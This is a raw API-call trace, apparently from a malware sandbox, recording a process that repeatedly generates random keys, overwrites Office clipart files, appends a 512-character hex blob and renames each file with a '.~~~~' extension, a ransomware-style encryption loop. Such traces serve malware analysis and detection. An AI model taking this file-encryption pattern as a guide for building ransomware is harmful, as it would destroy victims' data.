	[0119.566] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.566] GetLastError () returned 0x0
	[0119.567] GetLastError () returned 0x0
	[0119.569] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffea44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.569] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x15bc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x15bc, lpOverlapped=0x0) returned 1
	[0119.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0119.571] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.571] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.572] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.572] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.572] CloseHandle (hObject=0x13c) returned 1
	[0119.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7060
	[0119.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.~~~~")) returned 1
	[0119.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7060 | out: hHeap=0x300000) returned 1
	[0119.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.573] GetLastError () returned 0x0
	[0119.574] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942538) returned 1
	[0119.575] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.576] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.576] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23956596053) returned 1
	[0119.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0c07150, dwHighDateTime=0x1d60e1e)) 
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9760
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9760 | out: hHeap=0x300000) returned 1
	[0119.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7060
	[0119.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4148
	[0119.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7060 | out: hHeap=0x300000) returned 1
	[0119.577] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.577] GetLastError () returned 0x0
	[0119.577] GetLastError () returned 0x0
	[0119.577] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.577] GetLastError () returned 0x0
	[0119.578] GetLastError () returned 0x0
	[0119.728] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe258, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.728] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1da8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1da8, lpOverlapped=0x0) returned 1
	[0119.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0119.733] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.733] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.733] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.733] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.733] CloseHandle (hObject=0x13c) returned 1
	[0119.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.741] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.~~~~")) returned 1
	[0119.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.744] GetLastError () returned 0x0
	[0119.744] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x29425c0) returned 1
	[0119.745] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.745] CryptReleaseContext (hProv=0x29425c0, dwFlags=0x0) returned 1
	[0119.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.746] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23973581117) returned 1
	[0119.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0daa070, dwHighDateTime=0x1d60e1e)) 
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e97d0
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e97d0 | out: hHeap=0x300000) returned 1
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b41e0
	[0119.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.747] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.747] GetLastError () returned 0x0
	[0119.747] GetLastError () returned 0x0
	[0119.747] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.747] GetLastError () returned 0x0
	[0119.747] GetLastError () returned 0x0
	[0119.821] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff08e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.822] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xf72, lpOverlapped=0x0) returned 1
	[0119.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0119.824] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.824] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.824] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.824] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.829] CloseHandle (hObject=0x13c) returned 1
	[0119.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.832] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.~~~~")) returned 1
	[0119.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.834] GetLastError () returned 0x0
	[0119.834] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0119.835] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0119.835] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.836] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23982583182) returned 1
	[0119.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0e8e8b0, dwHighDateTime=0x1d60e1e)) 
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9840
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0119.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9840 | out: hHeap=0x300000) returned 1
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4310
	[0119.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.836] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.837] GetLastError () returned 0x0
	[0119.837] GetLastError () returned 0x0
	[0119.839] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.839] GetLastError () returned 0x0
	[0119.839] GetLastError () returned 0x0
	[0119.840] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffdca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.840] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x236, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x236, lpOverlapped=0x0) returned 1
	[0119.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0119.842] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.842] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.842] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.842] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.843] CloseHandle (hObject=0x13c) returned 1
	[0119.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.843] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.~~~~")) returned 1
	[0119.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.844] GetLastError () returned 0x0
	[0119.844] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0119.845] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0119.845] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.846] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23983574894) returned 1
	[0119.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0e8e8b0, dwHighDateTime=0x1d60e1e)) 
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9878
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0119.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9878 | out: hHeap=0x300000) returned 1
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4440
	[0119.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0119.847] GetLastError () returned 0x0
	[0119.847] GetLastError () returned 0x0
	[0119.847] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0119.847] GetLastError () returned 0x0
	[0119.847] GetLastError () returned 0x0
	[0119.913] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff996, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.913] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x66a, lpOverlapped=0x0) returned 1
	[0119.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0119.914] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.914] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.914] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.914] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.914] CloseHandle (hObject=0x13c) returned 1
	[0119.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.~~~~")) returned 1
	[0119.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0119.917] GetLastError () returned 0x0
	[0119.917] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0119.918] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.918] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0119.919] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23990885498) returned 1
	[0119.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb0f4cf90, dwHighDateTime=0x1d60e1e)) 
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9920
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9920 | out: hHeap=0x300000) returned 1
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29435a8
	[0119.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29435a8 | out: hHeap=0x300000) returned 1
